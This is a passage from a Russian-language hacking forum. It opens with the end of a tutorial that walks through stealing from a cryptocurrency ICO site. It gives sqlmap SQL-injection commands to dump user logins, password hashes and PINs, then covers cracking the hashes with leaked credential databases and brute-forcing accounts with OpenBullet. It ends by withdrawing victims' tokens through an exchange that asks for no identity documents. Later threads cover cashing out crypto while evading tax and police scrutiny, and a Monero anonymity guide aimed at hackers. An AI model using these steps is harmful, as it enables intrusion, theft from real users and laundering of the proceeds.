-u Этим аргументом мы указываем ссылку на нашу цель, которую хотим сдампить, --method соответственно указывает метод запроса, в нашем случае это POST запрос, если же нам попадется уязвимый сайт с GET методом, то в какой-то степени удобней будет указать ссылку на сайт не через реквест файл, а через аргумент -u (например если бы у нас был гет, а не пост: sqlmap.py -u "https://master.*****.com/auth/email_chk.php?val2=test" -p val2 --risk=3 --level=3 --dbms=MySQL –batch –dbs --random-agent), через параметр –data указывается отправляемая Post Data, при гет методе её нету, там дальше уже юзер-агент(--user-agent), хидеры(--headers), куки(--cookie).

Выше перечисленное мы просто запихали в реквест файл, тем самым красиво все оформив, я предпочитаю делать именно так и вам тоже советую.

-p Указывает на уязвимый параметр, в нашем случае это val2, смотрите в спаркере какой параметр у вас, и так же смотрите в спаркере какая DBMS используется на сайте, в моем случае это MySQL.

9.jpg.cfa4c38e395261b15e1af7518d0f13a9.jpg

--batch Никогда не спрашивать пользовательского ввода, использовать поведение по умолчанию

--dbs Выводит базы данных

Про разные уровни --level и --risk вы можете прочитать по ссылке в источниках [3]

Так же есть важный аргумент, которого нет в нашей команде, однако он является обязательным, через который указывается техника sql иньекции, в некоторых случаях мапа может и вовсе не раскрутить скулю без него, у меня было очень много случаев, когда мапа просто не раскручивала скулю без этого параметра так что его лучше добавлять. Аргумент ---technique может принимать сразу несколько значений EUQBST, каждая буква означает разную технику, можно указать сразу несколько букв.

В нашем случае я добавляю --technique=E.

Если по итогу вы получите вот такую картину, то значит мапа успешно раскрутила скулю и получила названия баз данных.

10.jpg.e62cff6efd8880c329ba85e1aea37005.jpg

Теперь нам лишь нужно просмотреть таблицы, выбрать нужную и слить из нее данные. Вернемся к нашей команде.

sqlmap.py -r target.txt -p val2 --risk=3 --level=3 --dbms=MySQL --batch --dbs --technique=E
Теперь когда мы получили названия баз данных, аргумент --dbs нам больше не требуется, убираем его и преобразовываем команду следующим образом.

sqlmap.py -r target.txt -p val2 --risk=3 --level=3 --dbms=MySQL --batch --technique=E -D master_wallet --tables
Через -D выбираем базу данных, --tables говорим то что там нужны таблицы.

11.jpg.2aacb2f512c4029eefb04c057e5c8fbc.jpg

Теперь среди таблиц ищем ту, в которой предположительно хранятся данные пользователей, в нашем случае это таблица member, у вас она возможно будет назваться по другому (например users или что-то типо того), нужно смотреть по обстоятельствам, теперь получаем колонки -D master_wallet -T member --columns.

12.jpg.8aae3e2e13a443c59015a81fb6c80e40.jpg

Теперь когда мы получили колонки примерно выбираем те, что нам нужны, в моем случае мне нужны данные о логине, пароле, почте, балансе, имени и пинкоде, другие данные имеют второстепенное значение для меня, указываем какие колонки нам нужны и сливаем их, по итогу команда получается вот такой:

sqlmap.py -r target.txt -p val2 --risk=3 --level=3 --dbms=MySQL --batch --technique=E -D master_wallet -T member -C mem_id,email,mem_pw,mem_name,gcc,deal_pw,mem_name,mobile --dump --threads=10
Начнется дампинг сайта, если вам нужно будет вдруг остановить его Ctrl+C

Начать с определенной строки --start=1000

Все что вы сдампили сохраняется в AppData\Local\sqlmap\output однако этот путь можно изменить, указав аргумент --output-dir

Про другие параметры которые есть в мапе можете узнать в документации** [4]**

Waf’ы и прочая дрочь

Пока наш сайт дампится, хотелось бы сделать небольшое отступление и так же раскрыть главный вопрос, который напрашивался с самого начала - «что же там по тамперам?».

По своему опыту скажу, что если вы использовали спаркер для поиска скули и он выдал вам дыру, то скорее всего никакие тамперы вам не понадобятся, а не раскручивается скуля потому, что сделали что-то неверно, более вероятнее попробовать поиграться с левелами и рисками, так же можно попробоваь добавить аргументы --no-cast или –hex(подробнее в доках).

Sqlmap сам типа умеет определять всякие waf, но тут ключевое слово «типа», лучше всего для определения waf использовать модули whatwaf** [5]** и wafw00f** [6]**.

Они вам выдадут тамперы, после вам нужно будет лишь добавить их к вашему запросу, если выдает несколько тамперов, то пробуйте каждый по очереди или совместите их.

13.jpg.5776022cce9475d93a24ed244e0afb10.jpg

Касательно тамперов нельзя сказать ничего конкретного какой куда подставлять, поскольку waf’ов очень много и практчески все индивидуальны и им нужен свой подход. Тот же клауд можно обойти если указать настоящий ip адрес сайта (можете нагуглить мануалов куча) и host сайта (-u “ip/auth/email_chk.php?val2” --host=”master.*****.com”).

Если есть желание, можете прочитать дополнительный материал про тамперы** [7]**

NaviCat И PHPMyAdmin(Full Access)

Все еще отступление…

Вы просто обязаны это прочитать!! Бывает такое что попадается уязвимый сайт, а там скуля слепая или бд такая большая что сливать очень долго, тогда как вариант можно попробовать подключиться к бд напрямую без скули. Если администратор тот еще алешка, то можно найти на сайте и такие артефакты как PHPMyAdmin, просто попробуйте добавить /phpmyadmin/ к сайту, авось окажется что там висит панелька, про которую сисадмин забыл.

14.jpg.17bc3cb153b7dcb76838fc5413b71182.jpg

Если же вы не нашли панельку, то попробуйте просканировать порты (“nmap site.com”), нам нужен порт 3306 на котором висит mysql.

15.jpg.02bbe1960cf104ac7afdba213d63c423.jpg

Если же такой порт открыт, то мы может приконнектиться к серваку через NaviCat** [8]**. Однако теперь нам нужны учетные данные для mysql, где же их взять? Надеюсь вы не забыли про документацию по sqlmap.

16.jpg.5745e9d0a6da43eb75c105f811ff6b79.jpg

Добавляем к команде аргумент –passwords и бум, вот что мы имеем по итогу. Мы получили имена пользователей и хэши их паролей, не спешите отменять мапу, пусть она попробует поломать пароли, вполне вероятно, что какой-либо из них она все таки сломает.

17.jpg.e434bcfdafba8d3dbd4f739d5246289b.jpg

Нас интересует root учетная запись. Здесь у нас пароли хэшированны, для их взлома нужен хэшкет и база паролей, ну про то как это работает вы наверняка должны были слышать. Что же делать дальше, когда вы взломали пароли и получили доступ к учетке? А делать мы можем все, что захотим, поскольку теперь у нас есть полный доступ к базе данных, хоть удалить ее можем, но нас ведь интересует не это. Мы можем сдампить базу данных за очень короткое время, поскольку теперь у нас есть прямой доступ, база выкачивается в формате .sql, для того что бы потом считать данные можете воспользоваться стареньким как мир софтом SQLRip* [9]**.

18.jpg.c3e21fa01b09231df6473e252300956e.jpg

Для того что бы подрубиться к базе с открыты портом 3306, качаем софтинку NaviCat, жмякаем Connection, в контекстном меню выбираем вашу DBMS, у меня это MySQL, после перед нами предстанет такое окно.

19.jpg.7ab65479132496f1ef1b6c4dd9151109.jpg

  1. Пишем что хотим, можем написать название сайта который мы атакуем
  2. Пингуем в cmd сайт и указываем здесь его айпишник
  3. Юзернейм аккаунта который вы ломанули, на скрине мапы выше посмотрите внимательно, там хэш рут пользователя дублируется с другим юзернеймом, именно этот юзернейм и вводим
  4. Без комментариев

Или же мы можем подкрутить некоторым пользователям баланс и добавить пару нулей. Тут все упирается лишь в знания самого языка sql, сам по себе он очень легкий и если даже вы его не знаете можно тупо нагуглить нужные вам вещи, это если у вас phpmyadmin. Если же у вас NaviCat, то вы просто получите экстаз от того, что там не нужно писать и строчки кода, просто изменяйте сами данные, остальное NaviCat сделает за вас, очень мощная софтина. Касательно того, как сдампить данные в навикэте.

20.jpg.e097c8e745ffb7e956380319306382ee.jpg

Об этом в интернете особо ничего нет, мотайте на ус.

Хэш и два Антипаблика

Давай те же вернемся к нашему ico которое мы сливаем. Поскольму мы живем в 21 веке, это значит что? Правильно! Это значит что мд5 и другие «слабые» хэши уже никто не использует, сейчас практически на всех сайтах пароли зашифрованны бкриптом, что на порядок затрудняет работу дамперам, ведь не все готовы покупать такой материал, бкрипт хэши очень долго ломаются по причине своей специфичности, вот их и используют сейчас все кому не лень, даже самая маленькая шаражкина контора юзает бкрипт, и правильно! Я бы тоже использовал его если бы держал какой-нибудь сайт. Но мы не держим сайт, а атакуем его.

21.jpg.16a235bdc35daab928e7db04b2362fbc.jpg

Итак, в нашем дампе пассы зашифрованны бкриптом, первая мысль которая может вам придти в голову это попробовать ломануть их хэшкетом, но после того как вы увидите сколько времени на это требуется, то вы наверняка подумаете о том, что бы забить на все это дело, однако не тут-то было. Правда заключается в том, что все ебут одни и те же строки, которые имеют не значительные отличия, и вполне вероятно что половина пользователей которые есть у вас в бд(может больше, может меньше), уже где-то оставляли такие же пароли, в результате чего они были слиты в интернет, это основная причина почему следует выбирать ico где для вывода нужен пин или 2fa. Таким образом мы сортируем бд по балансам, берем мыльники и логины, если у вас или ваших друзей есть свой антипаблик, можно вытащить строчки из АП с помощью ItemSearch** [10]. Если же такого не водится, то мы можем купить мурз [11]** и уже с него вытащить пароли, однако если у нас бомж стартер пак, то там есть триалка на два дня, с возможностью подобрать пороли к 1к почт, собственно я так и сделал поскольку 1к почт мне было вполне достаточно, я взял триалку и написал небольшой скрипт** [12]** на Delphi который вытягивает пароли.

22.jpg.3b0541f189e76a0147dfcb058e7c6483.jpg

Однако авторизация на сайте только по логину и паролю, тогда я написал еще один скрипт** [13]** , что бы подставить к логинам пароли которые нашлись к почтам.

То есть у меня есть следующее: Login,email,hashpass и email:pass по итогу сравниваются мыльники и подстановкой получаем login:pass. Либо же вы можете просто взять пароли которые найдет мурз, локальный АП и т.д. и просто сделать из них словать для хэшкета. Не буду здесь публиковать код обоих скриптов поскольку статья и так уже получилась объемной, однако оставлю исходники что бы вы могли скачать и ознакомиться. Все ссылки вы можете найти в конце статьи.

Брут

Теперь когда мы сделали подборку, звезды сошлись и у нас есть небольшая базка login:pass, нам нужно проверить ее на гуды. Поскольку мы искали нашу икошку среди проектов на кипер, булет и юбц, то у нас и имеется проект на это икошку, булет** [14]** идет бесплатный и мы можем просто скачать его и поставить нашу базку брутиться, однако кипер и юбц платные софты, поскольку у нас тут статья идет без затрат 0$, то давайте попробуем написать брут на нашу икошку.

Открываем наш сайт, на который будем писать брут, жмякаем Ctrl+Shift+J(У меня яндекс браузер), перед вами откроется панелька с права, выбираем на ней вкладку Network(Это наш снифер), вводим в поля логин и пароль любые данные и жмякаем войти, слева где Name должна появиться ссылка, также нажимаем на нее, и перед нами выйдет примерно аналогичная картина той, что была в нетспаркере когда мы собирали реквест файл, нам так же надо отсюда взять заголовки и постдату(Form Data это та самая Post Data, где id это наш логин, а pw это пароль). Бывает такое что там еще и токен попадается, тогда нам нужно сначало сделать гет запрос на главную страницу, спарсить токен, а потом вставить его в нашу пост дату, в целом про написание брута можно написать еще одну отдельную статью, т.к. здесь очень много инфы и маленьких деталей, по-этому не будем углубляться в такие детали. Подробнее про то как писать бруты можете найти в интернете. А еще лучше если возьмете с интернета готовые рабочие конфиги открытые для редактирования и смотря на них будете учиться делать проекты.

23.jpg.db0100a6b4758edeac5a8b661681e22c.jpg

Во вкладке Response правее Headers мы можем посмотреть данный которые пришли в ответ.

Это нам пришло на рандомные данные

{"result":"N","msg":"This ID is not checked."}
Это на данные где пароль неверный

{"result":"N","msg":"Please check the input."}
А вот это уже на гуд

{"result":"Y","msg":"Login Successful"}
Судя по этим ответам и хидерам мы будем собирать проект. Открываем булет, переходим во вкладку Configs->New Указываем название проекта, слева жмякаем на плюсик, в открывшемся окошке выбираем Request и заполняем согласно данным со снифера.24.jpg.569da9e0565c60fe3e88709fbdde261a.jpg

1631166306665.png

Ну я думаю вы поняли что к чему. Сохраняем проект, запускаем и ждем пока наберутся гуды. Эта часть статьи получилась немного скомканной, однако если у вас возникнут вопросы или вам нужно будет помочь с написанием более сложного брута(например на мобильное приложение), то не стесняйтесь задавать вопросы.

Вывод на биржу и с биржи

После того как нашли гуды, нам нужно вывести баланс с ICO на биржу, смотрим на сайте на какие биржи мы можем вывести, и выбираем ту на которой не нужен вериф с доками для вывода, в нашем случае это latoken. Первый раз когда я попытался что-то там сделать у меня выбивало ошибку поскольку я сидел под VPN США, поэтому будьте внимательны, в США душат биток, юзайте впн другой страны.

26.jpg.e0306e020e6758f660cd708c882447a7.jpg

Регаемся на бирже, переходим в кошелек, в поиске вбиваем нашу монету, клацаем депозит и биржа даст нам кошелек на который нужно перевести токены, дальше уже входите под сбрученными аккаунтами в личный кабинет ico и уже от туда выводите токены, я хз как будет у вас, лично у меня выводы были только по средам в определенное время, для подтверждения вывода нужно было ввести временный код который приходит на почту и 6 значный пинкод который был у нас в базе данных. Система такая, что для смены пинкода надо валидное мыло, а для смены мыла пинкод. Поэтому я сначала менял мыло на свое, поскольку знал пинкод, а потом уже подтверждал вывод с помощью кода который приходил на почту и того 6 значного пинкода который был в базе.

1631166258766.png

Потом когда монеты приходят на биржу(обычно приохдят с задержками, надо немного подождать), просто продаем их за битки и уже выводим на свой кошелек, вот собственно и все.

1631166249045.png

Пару слов туда сюда да …

Теперь несколько моментов которые я специально пропустил дабы не ломать повествование статьи:

  1. Если вдруг вы найдете в бд куки, то на часть с написание брута и подбором паролей можете сразу забить т.к. коме этих кук вам больше ничего не понадобится для входа.
  2. Вы можете использовать sqlmap для поиска уязвимостей
  3. В случае если у вас слепая скуля, для ускорения дампинга можете использовать технику DNS Exfiltration(--dns-domain), более подробно можете легко нагуглить
  4. В случае если у вас тип инъекции stacked queries и админская учетная запись(--is-dba), вы можете получить шелл (--os-shell)
  5. Если гудов будет мало, вы можете попробовать побрутить сами мыльники и уже по ним восстановить аккаунты
  6. Если у вас сайт с 2фа, то вы должны были обязательно сдампить колонку в которой хранятся ключи для гугл аутентификатора, скачиваете себе на мобилу аутентификатор, добавляете в него ключик (Enter a setup key) используете сгенерированные коды
  7. В бд вполне вероятно могут храниться приватные ключи от разных кошельков, будьте внимательны, иначе можете пропустить большую сумму

Заключение

Вот собственно и подошла к концу статья, я раскрыл один весьма прибыльный кейс для исполнения которого вам не надо и копейки. Некоторые инструменты мы рассмотрели подробно, а некоторые только поверхностно и вскользь, поскольку это очень большая тема, трудно сразу рассказать про все инструменты в рамках одной статьи так, что бы ничего не забыть, как по мне, так каждый инструмент вполне заслуживает отдельной статьи, поскольку информации по ним имеется еще очень много, что хватит и на целую серию статей. Какие бы высококлассные инструменты у вас не были бы, без достаточного опыта и навыков вы не сможете раскрыть весь их потенциал. Я показал основные и самые значимые моменты, однако даже их достаточно, что бы самостоятельно провернуть подобное. Если после прочтения статьи у вас появились вопросы на которые вы не находите ответы, то я буду рад ответить на ваши вопросы, так же могу помочь с раскруткой скули, написанием брута и т.д. Спасибо за внимание!

Ссылки

  1. https://a.pr-cy.ru/ Проверка посещаемости сайта
  2. https://github.com/sqlmapproject/sqlmap Sqlmap
  3. https://security.stackexchange.com/...f-increasing-the-risk-option-of-sqlmap/162982 Про левлы и риски
  4. https://kali.tools/?p=816 Документация по Sqlmap
  5. https://github.com/Ekultek/WhatWaf Модуль для определения WAF
  6. https://github.com/EnableSecurity/wafw00f Модуль для определения WAF
  7. https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3 Доп. материал про тамперы
  8. https://www.navicat.com/en/download/navicat-premium Naviсat, незаменимая вещь
  9. https://www.sendspace.com/file/l7an6k SQLRip
  10. https://www.sendspace.com/file/4yc1pw ItemSearcher для поиска в локальном АП
  11. https://myrz.org/main/index.php#learn-more Мурз
  12. https://www.sendspace.com/file/c6ix3c Скрипт под парсинг с мурза
  13. https://www.sendspace.com/file/4mrgmr Скрипт с подставкой паролей
  14. https://github.com/openbullet/openbullet OpenBullet
Анонимный вывод Bitcoin/Криптовалют
ID: 67686ad7b4103b69df379a2b
Thread ID: 30716
Created: 2019-07-30T01:17:11+0000
Last Post: 2021-04-28T03:07:20+0000
Author: Bozon
Replies: 24 Views: 6K

Приветствую господа :smile8:
Возникли вопросы:

  1. Каким способом надежнее всего выводить в fiat(рубли, доллары - наличность) криптовалюту ?

Я знаю всего несколько:

  1. Биржа LocalBitcoins
  2. Топ обменников BestChange.ru
  3. Менялы с https://mmgp.ru/forumdisplay.php?f=87

Click to expand...

  1. Какие обьемы безопасно гонять по карте ?
    Слышал про цифру до 600к рублей - оборот в месяц. А если выше, то какой-то алгоритм отправляет данные в ФНС, а далее в разработку МВД - экстремизм, наркотики.
    Как избежать этого и не светиться на " радарах" налоговой ?
  2. Как удобнее получать валюту ?
  1. На карту свою/мамы/папы/теты/бабушки/др. родственников
  2. Наликом
  3. На купленную дебетку
  4. Через систему денежных переводов - swift, western union, золотая корона.

Click to expand...

Поделитесь plz своим опытом, не только мне думаю будет полезно :smile12:

ETH или BTC, что анонимней?
ID: 67686ad7b4103b69df379a34
Thread ID: 48511
Created: 2021-02-23T12:56:18+0000
Last Post: 2021-03-05T17:47:38+0000
Author: Shelby
Replies: 55 Views: 6K

Какая крипта из представленных двух в заголовке является наиболее анонимной по вашему мнению?

250 XLM или 25$ за верификацию blockchain!
ID: 67686ad7b4103b69df379aba
Thread ID: 28303
Created: 2019-03-15T21:50:36+0000
Last Post: 2019-04-29T13:03:28+0000
Author: robbinhood
Replies: 11 Views: 6K

Всем привет! Всё просто!

Ставим официальный кошелёк blockchain, верифицируем по паспорту. В течении недели получаем 250 XLM на счёт. В приложении через SWAP меняем на bitcoin и выводим!

www.blockchain.com

Blockchain.com | Buy Bitcoin, Ethereum and more with trust

Blockchain.com is the world's most popular way to buy bitcoin, ethereum and more with trust. Securely store, swap, trade and buy the top cryptocurrencies.

www.blockchain.com www.blockchain.com

Илон Маск бреет лохов
ID: 67686ad7b4103b69df379a04
Thread ID: 51896
Created: 2021-05-18T14:23:16+0000
Last Post: 2021-07-30T14:29:50+0000
Author: tabac
Replies: 61 Views: 6K

Маск опубликовал фото с надписью STARBASE. В результате Starbase Token (STAR) подскочил на 6000% и разбился. Это произошло после того, как генеральный директор Tesla и SpaceX опубликовал в Twitter фотографию деревни Starbase, которая ранее носила название Бока-Чика. В деревне Starbase находится космодром компании SpaceX.

Starbase - это место, где расположен стартовый комплекс SpaceX. Никакого отношения оно не имеет к токену.

Разработчики токена Starbase поблагодарили Илона Маска за публикацию, которая привела к росту цифровой монеты.

Твит-трейдинг рулит. Или Маск-трейдинг, ХЗ. Мир катится в попу.

Monero не анонимен: как отслеживают XMR? Рекомендации для анонимности
ID: 67686ad7b4103b69df379692
Thread ID: 115610
Created: 2024-05-29T11:41:25+0000
Last Post: 2024-11-12T03:27:33+0000
Author: jaskolka
Prefix: Статья
Replies: 31 Views: 6K

Не я автор, и никакого отношения к автору не имею, хочется услышать комментарии специалистов на эту тему, и получить, возможно более полные рекомендации.

Ссылка на статью: <https://telegra.ph/Monero-ne-anonimen-kak-otslezhivayut- XMR-Rekomendacii-dlya-anonimnosti-05-28>

Текст для тех, кто не хочет ходить по ссылкам

Monero отслеживается, есть реальный люди, хакеры, владельцы наркокартелей, которые получили реальные тюремные сроки, которых установили именно по платежам в Monero, эти люди меняли bitcoin на Monero, Monero на bitcoin и эти платежи все равно смогли проследить. В статье я расскажу, как отслеживают Monero, и дам Вам конкретные рекомендации пользования, чтобы максимально усложнить отслеживание.

Друзья, эта статья является текстовым вариантом, и по этой теме снято мною видео, текстовый вариант более полный и точный, поэтому рекомендованный, и все же рекомендую так же посмотреть видео по этой теме.

Я решил записать это видео и соответственно эту статью, по причине того, что если Вы начнете искать информацию про анонимные платежи, про риптовалюту, то Вы безусловно, найдете информацию о Monero, но 99% того что вы найдете, не содержит ни одной конкретной рекомендации по использованию, эти видео или статьи не содержат, они же наоборот вводят людей в заблуждение, говоря им о невероятной анонимности и люди услышав это совершают непоправимые ошибки, за которые приходится расплачиваться не блогерам, а людям.

Чтоб окончательно снять розовые очки, я приведу несколько примеров, это реальные истории хакеров, которых не могли поймать 7 лет, что говорит о их уровне как профессионалы, это не наркозакладчик, который использовал кошелек Monero, который взял на бирже Binance.

Ниже 3 источника на 3 разные кейса :

www.securitylab.ru

[ Суд над хакером в Финляндии заставил усомниться в анонимности

криптовалюты ](https://www.securitylab.ru/news/545607.php)

Отследив вымогателя по горячим следам, специалистам удалось восстановить всю цепочку действий в блокчейне.

![www.securitylab.ru](/proxy.php?image=https%3A%2F%2Fwww.securitylab.ru%2Fimg%2Ffaveicons%2Fandroid- icon-192x192.png&hash=48f4deb014821acfdcffa50cc5f79355&return_error=1) www.securitylab.ru

более подробно о кейсе выше

__https://www.reddit.com/r/Monero/comments/19emsfe/finlands_national_bureau_of_investigation_claims

И ниже старый кейс по wannacry

![medium.com](/proxy.php?image=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A512%2F1%2A78_fZacQ11O05-kmCB- YFw.png&hash=6e7b226461539dfd401ecd1d523d06df&return_error=1)

[ Tracing the WannaCry 2.0 Monero Transactions

](https://medium.com/@nbax/tracing-the-wannacry-2-0-monero- transactions-d8c1e5129dc1)

Contributors: Nicolas A. Bax, PhD and an unnamed contributor.

medium.com medium.com

И этого года кейс с нарко магазином

https://www.justice[.]gov/opa/media/1352571/dl

Друзья, сейчас поговорим о методах отслеживания Monero, и после в конце я дам конкретные рекомендации, чтобы максимально усложнить отслеживание.

Как же отслеживают Monero:

  1. Биржи. Все биржи, например Binance и другие ежеквартально передают информацию по ВСЕМ транзакциям внутри биржи в виде csv списков, включая всю информацию XMR, включая адреса кошельков. Передают они эти списки всем кто занимается отслеживанием и расследованиям по крипте, например Chainalysis; Это очевидно, но нужно проговорить, если вы отправляете или получаете Monero используя кошелек биржи, то ни о какой анонимности вообще речи быть не может, биржа запоминает адрес кошелька, сумму, дату и время, ip адрес и вообще все что можно запомнить; Поставьте знак равно между Binance и всеми обменниками которые есть на bestchange, все эти обменники используют являются партнерами какой-то крупной или не крупной биржи, и они всю сохраняют всю информацию о вас во время создания заявки, почту, ip адрес, кошелек с которого вы им отправляете деньги и кошелек куда вы их отправляете, об этом стоит помнить;

  2. Объемы, время, статистическая вероятность. Сейчас мы рассмотрим несколько примеров:

Первый пример: представим на примере что отслеживается кошелек XMR на который было отправлено 100$ (эквивалент), далее человек поменял где-то на bestchange XMR на bitcoin и через 1 час, на биржу Binance был сделан депозит в btc, размере 100$ (эквивалент) и далее вывел себе на карту. Какова вероятность что таким образом идентифицирует владельца XMR кошелька? Очень-очень низка, потому как 1000-чи других пользователей делали аналогичные депозиты в других криптовалютах на других биржах и тд., но представим что на протяжении месяца это повторилось 25 раз, 25 раз был осуществлен перевод в 50-150$ на этот кошелек, и 25 раз, был получен депозит на Binance в btс, то в данном случае статистическая вероятность случайности таких депозитов сводится к невозможному и таким образом строится связь между кошельком XMR и аккаунтом Binance.

Второй пример: вымогатель требует выкуп 250.000$ в биткоина, это 3.62 btc, и ему платят 3.62 btc, он знает, что биткоин отслеживается и идет на биржу, которая не просит KYC, т.е. каких-либо документов и меняет несколькими платежами свой BTC на XMR, и т.к. он не доверяет этой бирже, он несколько раз пересылает по холодным кошелькам XMR, и после этого меняет где-то XMR на bitcoin и отправляет это на биржу Binance, чтоб вывести эти средства себе на счет. Казалось бы сложная цепочка, Bitcoin > XMR > XMR > Bitcoin, и это возможно отследить, а все из-за объема и временного промежутка. Объем в 250.000$ достаточно большой, и даже если в промежуток времени неделю, возможно всего 1 или 2 подобных операции будут, именно на эту сумму, что очень упрощает отслеживание, т.к. такие операция очень выделяются среди массы другие;

  1. Узлы. Существуют плохие узлы XMR которые могут быть нацелены на деанонимизацию пользователей. Я не буду сильно вдаваться в подробности лишь скажу какую информацию узлы могут о вас собирать, это: ваш ip адрес, включая даже изменения Вашего ip адреса например сегодня, и спустя неделю, при каждом новом заходе на кошелек (например вы не пользовались кошельком неделю и открыли кошелек, он запросит обновление блокчейна у узла с того места на котором остановился неделю назад, таким образом узел поймет что пользователь неделю назад и сейчас один и тот же человек). Также плохой узел знает ваш часовой пояс и ваше время онлайн в кошельке, когда вы его открываете и закрываете, таким образом собирается дополнительная статистическая информация, это все то касается пассивного сбора, есть так же атаки, которые могут применятся плохими узлами при проведении вам транзакций, например когда вы хотите кому-то отправить XMR, вы запрашиваете у узла 11 адресов, 10 из которых фейковых, и при совершении транзакции узел не знает точно какие адреса фейковые, а на какой вы отправляете XMR, и узел может изменить 5-6 фейковых адресов, и если транзакция пройдет успешно, значит те адреса которые он подменил точно фейковые, и соответственно в других 5-6 адресах находится истинный адрес. Если же происходит так, что узел изменил адреса настоящего адреса, на который вы хотели отправить XMR, то вы получите ошибку и транзакция не пройдет, соответственно узел узнает, что адрес, на который вы хотели отправить был среди тех 5-6 адресов. Плохой узел может проводить такие атаки много раз, до тех пор, пока не узнает на 100% какой именно адрес из 11-ти настоящий.

  2. Свой узел. Исходя из причины выше можно сделать вывод что нужно иметь свой узел, но плохие парни тоже пришли к этому выводу, и они стали мониторить ВСЕ узлы, которые появляются, а именно их дата и время появления, а также время их работы и транзакции которые с них идут. Например, хакер знает об этом, и 22.04 и на протяжении недели, до 29.04 он им пользовался пока совершал какие-то сделки, а потом он стал ему не нужен, и он удалил его с сервера. И те, кто занимаются расследованием и отслеживанием Monero отслеживают и другие узлы тоже, и они заметят появление новых узлов так же, как и их выключение, и представьте, что хакер включал свой узел только в момент, когда ему нужен был кошелек, насколько тогда это будет выделятся с общей массы. Относительно анонимности узла, если установят конкретную связь кошелька с узлом, то это огромное количество информации, которую человек указывал при создании узла, такая как почта, ip адреса, с которого он настраивался и реквизиты оплаты, входы в панель. Отдельная история почта, которая указывалась при создании, насколько анонимна она? И еще касательно узла, при его создание у вас будет выбор, сделать ли его доступным для всех, или он будет обрабатывать исключительно Ваши транзакции. Если сделать его доступным для всех, мы помогаем не только сети Monero, а еще и пропускаем через наш узел чужие транзакции, благодаря которых НАШИ транзакции будет сложнее идентифицировать среди массы других, что конечно же увеличивает нашу анонимность.

  3. Блокчейн обозреватели. Например вы сделали транзакцию и хотите проверить прошла подтверждена ли она, дошли ли Ваши XMR до получателя, или Вы получатель этой транзакции, что Вы делаете, открываете блокчейн обозреватель и ищите/смотрите в нем детали по транзакции, в это время обозреватель блокчейна в котором вы смотрите записывает Ваш ip адрес, часовой пояс, могут запускаться скрипты активного сбора информации о Вашей системе, фингерпритны и тд., что строит конкретную связь Вас с этим кошельком.

  4. Миксеры, сервисы отмыва крипты. Миксеры имеют 2 проблемы, первая это то, какие вы деньги получаете на свои кошельки? Т.е. кто-то в миксер загнал деньги, полученные с продажи наркотиков или оружия в США, и эти деньги с миксера могут попасть Вам на Ваш кошелек, взамен тех, которые вы отдадите в миксер, и за этими деньгами придут к Вам. Вторая проблема в том, что все большинство таких сервисов хонипоты, т.е. специально созданы для того, чтобы собирать информацию о пользователях, даже если сервис таким изначально не является, он может таким стать в последствии, например к нему наведаются сотрудники органов и принудят к такому сотрудничеству, а я напомню, Вы оставляете этим сервисам свои другие кошельки, проследить которые до Вам возможно в десятки разы легче. Я лично не знаю какое решение тут будет адекватным, использовать несколько сервисов не самая лучшая идея, они все могут оказаться хонипотами, но при этом каждый возьмет свои 5%-10% за услугу.

  5. Плохие удобные холодные кошельки Atomic Wallet, Exodus. В чем минус, к примеру Atomic Wallet считается не безопасным кошелеком, а Exodus, там 2 причины, то что я прочитал он имеет проблемы с анонимностью и сейчас там XMR не работает, а именно кошелек не синхронизируется с блокчейном, т.е. вам на кошелек попадает монета, но на кошельке отображаться она не будет, иза

И обещанные рекомендации :

  1. Пользуемся только проверенными холодными кошельками c открытым исходным кодом, например официальный кошелек Monero GUI Wallet, Monero CLI Wallet, и другие feather, Cakewallet

  2. Используем в кошельках исключительно СВОЙ узел XMR, который будет начнет работать за неделю/месяц/ до того, как он нам понадобится и продолжит работать еще месяц/два/три после того, как он будет вам не нужен. Запустите уже СЕЙЧАС свой узел, чтоб когда он Вам понадобится он уже был в сети. Создавайте узел анонимно, анонимный VPS с оплатой в XMR, и анонимная его настройка.

  3. На СВОЙ узел подключаемся как минимум с VPN+proxy+виртуализация / whonix. Узел наш, он безопасный, но на уровне хостера и провайдера могут вестись логи.

  4. Кошелек НЕ должен подключатся к узлу за час до проведения транзакции, т.к. это тоже отслеживается, момент синхронизации кошелька с узлом, т.е. лучше всего если кошелек всегда будет синхронизирован;

  5. Покупаем XMR анонимно используя Tor+vpn/socks (VPN/socks чтоб не поймать

  6. через обменники с bestchange. Тут зависит от того, что у вас есть на старте, но суть одна, анонимная почта, чистый ip, заходим создаем заявку и меняем, чтоб на выходе получить XMR на холодный кошелек. К примеру покупаем за фиат/наличку LTC за LTC > XMR. К сожалению, bestchange не лучшая идея использовать, но это явно лучше бирж и дешевле. Покупайте небольшими объемами (до 5к$-10к$) и будьте готовы что у вас могут попросить паспорт, хотя обычно не просят. Если Вы нашли биржу/обменник, который кажется именно то, что Вам нужно, т.е. максимально анонимный и не просит никаких документов никогда, то это скорее всего хонипот.

  7. После захода денег на Ваш холодный кошелек погоняйте их по другим холодным кошелькам, хотя бы 3-4 раза, это добавит анонимности и если будет все очень плохо, то это очень поможет Вам в суде и даст возможность «правдиво отрицать», т.к. таким образом создаются множество фейковых переводов.

  8. Давайте деньгам полежать, не переводите их сразу, выжидайте дни, а лучше недели и месяца. Это сильно усложнит анализ и отслеживания.

  9. Расходуйте (выводите) частями, не нужно все и сразу на один кошелек большим объемом. В блокчейне большинство транзакций от 1xmr до 100xmr, другие объемы будут сильно выделятся.

  10. Старайтесь всеми возможностями избегать бирж каких-либо пересечений с биржами, обменниками, особенно крупными такими как Binance, Huobi, Yobit и другими. При этом не нужно слепо доверять «сервису анонимного обмена крипты».

  11. Меняйте кошельки систематически свои кошельки, потратили в ноль, не пополняйте старый, создавайте новый.

  12. Не используем блокчейн эксплореры – это хонипоты.

  13. Сервисы/телеграм боты для проверки AML и тд. – это хонипоты.

**Очень важное замечание друзья, возможность отслеживания XMR это лишь статистическая вероятность вашей связи с кошельком, и это может быть 50%, 15% или <0.1%, но точно не 0%.

Источники**:

https://xss.is/threads/106855/

https://forum.exploit.in/topic/240919/

https://forum.exploit.in/topic/215095/

https://forum.exploit.in/topic/237059

www.securitylab.ru

[ Суд над хакером в Финляндии заставил усомниться в анонимности

криптовалюты ](https://www.securitylab.ru/news/545607.php)

Отследив вымогателя по горячим следам, специалистам удалось восстановить всю цепочку действий в блокчейне.

